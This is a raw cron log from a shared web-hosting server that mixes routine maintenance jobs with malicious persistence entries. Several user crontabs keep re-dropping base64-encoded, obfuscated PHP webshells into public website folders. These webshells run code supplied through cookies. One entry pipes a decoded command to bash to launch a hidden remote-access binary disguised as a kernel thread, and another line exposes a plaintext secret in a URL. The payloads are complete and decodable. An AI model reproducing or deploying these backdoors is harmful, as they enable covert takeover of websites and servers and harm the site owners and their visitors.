Mar  1 04:59:02 medusa CROND[3642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:59:02 medusa CROND[3641]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:59:02 medusa CROND[3643]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:59:02 medusa CROND[3645]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:59:02 medusa CROND[3646]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:59:02 medusa CROND[3648]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:59:02 medusa CROND[3649]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:00:01 medusa CROND[28047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:00:01 medusa CROND[28076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:00:02 medusa CROND[28213]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:00:02 medusa CROND[28214]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:00:02 medusa CROND[28215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:00:02 medusa CROND[28216]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28217]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/mailpasswds)
Mar  1 05:00:02 medusa CROND[28218]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 05:00:02 medusa CROND[28225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:00:02 medusa CROND[28231]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 05:00:02 medusa CROND[28219]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:00:02 medusa CROND[28228]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28227]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28226]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 05:00:02 medusa CROND[28240]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:00:02 medusa CROND[28247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:00:02 medusa CROND[28249]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:00:02 medusa CROND[28252]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:00:02 medusa CROND[28257]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28259]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:00:02 medusa CROND[28260]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:00:02 medusa CROND[28261]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:00:02 medusa CROND[28268]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 05:00:02 medusa CROND[28275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:00:02 medusa CROND[28284]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:00:02 medusa CROND[28293]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:00:02 medusa CROND[28294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:00:02 medusa CROND[28296]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 05:00:02 medusa CROND[28282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:00:02 medusa CROND[28303]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 05:00:02 medusa CROND[28300]: (root) CMD (bash -c "sleep ${RANDOM:0:2}m"; /usr/bin/flock -n /var/run/xray_tasks.cronlock /usr/sbin/cloudlinux-xray-manager autocomplete-tasks &> /dev/null)
